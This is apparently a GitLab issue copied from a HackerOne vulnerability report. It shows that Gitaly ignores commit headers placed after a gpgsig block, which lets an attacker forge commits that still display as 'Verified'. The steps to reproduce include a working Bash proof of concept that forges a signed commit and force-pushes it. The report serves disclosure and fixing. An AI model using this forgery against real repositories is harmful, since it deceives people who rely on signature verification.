Commit signature validation ignores headers after signature
HackerOne report #1929929 by lotsofloops
on 2023-04-02, assigned to @fvpotvin:
Report | Attachments | How To Reproduce
Report
Summary
Git commits are stored in a text format. For a signed commit, that normally looks like (for the initial commit in a repo without any parent
s):
tree be0788944df13c5d170e050f2fe178360c3df5a5
author Author Name <a@example.com> 1678388328 -0500
committer Author Name <a@example.com> 1678388328 -0500
gpgsig -----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
Commit message
All of the lines before the commit message are commit headers. The gpgsig
header (gpgsig-sha256
for SHA256 repos) contains a commit signature. The signature is computed on all lines of the commit data, except for the gpgsig
lines. All Git implementations place gpgsig
at the end of the commit headers. However, Git doesn't consider commits with headers after gpgsig
to be invalid, and correctly computes the signature on headers after the gpgsig
header.
GitLab reimplements the commit signature verification from Git. Specifically:
- Gitaly implements the logic for extracting the signature and signed data from a commit
- The main GitLab Rails app implements the logic for verifying that the signature is valid for the signed data
This issue is with how Gitaly extracts the signature from a commit. The extractSignatures
function in commit_signatures.go
assumes that gpgsig
is always the last header item, and includes everything after gpgsig
in the signature data. So if we take a valid signed commit and add headers after the gpgsig
we get a commit like:
tree be0788944df13c5d170e050f2fe178360c3df5a5
author Author Name <a@example.com> 1678388328 -0500
committer Author Name <a@example.com> 1678388328 -0500
gpgsig -----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
extra header data ignored by Gitaly!
Commit message
The extracted signed data is
tree be0788944df13c5d170e050f2fe178360c3df5a5
author Author Name <a@example.com> 1678388328 -0500
committer Author Name <a@example.com> 1678388328 -0500
Commit message
and the extracted signature is
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
extra header data ignored by Gitaly!
When GitLab later verifies the signature it uses GPGME, which ignores the trailing data after -----END PGP SIGNATURE-----
. Since the extracted signed data is the same as with the unaltered commit, this means that we have created a new altered commit that GitLab still considers to be signed. Git itself correctly considers a commit modified in this way to have an invalid signature:
$ git verify-commit [hash]
gpg: Signature made Thu 30 Mar 2023 01:58:48 PM EST
gpg: using RSA key [key]
gpg: BAD signature from "Author Name <a@example.com>" [unknown]
Side note: it is possible to alter a signed commit and create a new signed commit by adding whitespace to the gpgsig
block, and the new altered commit will be considered signed by GitLab and Git. AFAICT this isn't an issue, since it doesn't allow modifying any of the actual commit data.
Steps to reproduce
- Make sure you have a GPG key setup locally and added to your GitLab account
- Create a GitLab project (don't initialize it with a README)
- Create an initial commit using the GPG key
git clone <repo> repo cd repo git commit --allow-empty --gpg-sign -m "Commit message" git push
- Allow force pushing on
master
in Settings ➜ Repository ➜ Protected branches ➜ Expand ➜ Unprotect ➜ Unprotect branch - Now you can create a forged commit by running this Bash. This doesn't use the GPG key - you can run this on a different system that has no access to a the GPG key from step 2, and it will still work.
original_hash=$(< .git/refs/heads/master) # create parent for forged commit: git update-ref -d refs/heads/master echo "This file will appear to have been deleted" > delfile.txt git add delfile.txt git commit --no-gpg-sign -m "parent of forged commit" git push -f attack_parent_hash=$(< .git/refs/heads/master) # create forged commit: forged_hash=$(git cat-file commit $original_hash | \ # Add extra line after signature block, before body sed "/^$/i parent $attack_parent_hash" | \ git hash-object -t commit -w --stdin) # set master branch to forged commit git update-ref refs/heads/master $forged_hash git push -f git verify-commit $original_hash # -> Good signature git verify-commit $forged_hash # -> BAD signature (but GitLab considers it to be good)
- Look at the new most recent commit on GitLab. It will show as "Verified" (despite Git saying it has a
BAD signature
), and in the new forged commit the committer is shown as deleting a file that they did not actually delete.
Impact
One can make these changes to signed commits and still have GitLab considered them signed:
- Change the author name/email/date (if there are multiple author/comitter headers, GitLab uses the last one)
- Change the committer date (but not email, since that must match the email on the GPG key)
- Add additional commit
parent
s. Since Git computes the commit diff based on the commit parents, you can change the base used to generate the diff.
One can also change the commit encoding
and mergetag
, but GitLab doesn't use those headers anywhere.
What is the current bug behavior?
extractSignature
ends the signature block when it sees an empty line:
if inSignature && !bytes.Equal(line, lineBreak) {
What is the expected correct behavior?
extractSignature
ends the signature block when it sees a line that does not begin with a space.
Relevant logs and/or screenshots
Output of checks
This bug happens on GitLab.com
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: